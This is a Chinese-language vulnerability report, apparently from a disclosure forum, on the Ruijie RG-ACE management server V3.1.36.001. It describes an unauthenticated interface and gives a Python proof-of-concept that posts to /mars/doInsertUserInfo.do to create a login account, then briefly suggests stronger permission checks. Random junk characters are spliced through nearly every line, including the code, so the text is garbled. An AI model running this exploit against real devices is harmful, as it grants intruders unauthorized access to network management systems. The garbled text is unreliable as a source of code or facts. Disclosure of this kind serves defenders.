锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
( r+ I- y- a# O& d4 Y" b/ K+ J
! e6 \$ c! ]) E4 o- h% F/ t9 \0 j2 g/ e, k
测试的具体版本是$ \) _2 l5 E2 ~3 W) [. X( [9 j4 @% `8 b7 F
产品名称: 锐捷应用控制引擎
$ T5 w5 ?) \( E6 t: r版本号: 3.1.36.001 TC( A& C. H+ U7 L3 z+ U2 _1 f* R
编译时间: 201104291730
# k2 u+ `0 v* j# \( X ! N, r1 b, O' U0 F5 ]; p
: `3 L/ [' _5 s2 R' Q! R2 D3 j% @* A
漏洞证明:# P9 s2 S9 s& u; _& \7 |' m- r
6 J: j8 n! T' ]; x! a2 B1 f; d; Q$ Z9 p4 o g7 o7 ^! k5 @
+ g% q3 F7 ^2 D& h- I
0 B+ w( H# ^; s* x9 J
" b2 c% M; q% |# n% |
' c! p; G$ u4 Q" u
执行脚本& k" [8 A, B4 e& A. J+ {
#! /usr/bin/env python: C( U) z: P0 Q( i. c5 l
#coding=gbk/ D/ p2 z2 h, Y& @% ]3 b$ @! Q: }
#RG-ACE管理服务器 V3.1.36.001: B7 B n1 ~/ o
import urllib2, urllib,cookielib
@0 H& |4 J0 x: Durl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
+ ?0 Y; V. n: x D+ z# wopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
Q0 u: z$ E( _opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]/ y3 v+ r2 l- M S, Z1 ?; _& }! g
post=(("event","userManager.doInsertUserInfo"),# Q; X7 ]) Y6 {/ d! y+ ]* B" }! U
("useractionname","addButtonValue"),
, y* W! P& m3 S; b/ N4 C("useropermanager","userManager"),
% e% R' |8 }' V1 z( \6 f("userName","t"), #######账号自己加0 G M/ y/ Q( N* Y# R- f
("pwd","aaaaaa"),######密码自己加
. q) \0 \- X- a; `8 @7 P("trueName","ad"),
- ?1 t ]4 |. f+ s& w6 z5 e("email",""),- Q4 D3 {. l2 g; Y
("mobilePhone",""),
7 c4 M" O: h( \, S: w2 e, A("officePhone",""),
9 S! A/ |9 j% V7 M- _1 }("addr",""),
) ?( ]4 R$ K2 W; i5 |- V) \2 j& \1 n("submit","确定"))" W4 N! b7 h, y: @- F' I/ A
urllib2.install_opener(opener)
; X# @6 x2 C. Np=urllib2.urlopen(url, urllib.urlencode(post)).read()
% `. M# p* Y" C1 q- Wprint "Done"! Z# s2 Q, M! m2 x
0 |$ }/ ~& B0 \0 m& W
登录,连接设备* Q2 W( `# [# ^6 @: K, e
2 _. Z# t! m! B/ n- J& ~
9 s7 m% G: S6 I! Z7 z" {$ t" r) C- r! J
9 N1 [$ P8 \: `4 g" t" t
! l; z% s' ~; Q3 |- `! D: y& M
默认的管理员admin权限更大点+ {+ N7 G" X# o; q% w; y. O9 q2 a
# |' E9 D. r/ p0 [
5 F3 ]/ b; T% ?: X4 n9 R4 G( Y
, I, Z, |* l; C3 Q
8 v, a9 ?: ^ A% m/ C
& }# }; q$ S1 _0 j# I修复方案:
" P% _" D) K+ x: U$ q2 o6 Y0 R加强对接口的权限验证0 Z5 w) ~) [/ j* n4 V
+ x$ v! V/ m" a) |7 u8 n
|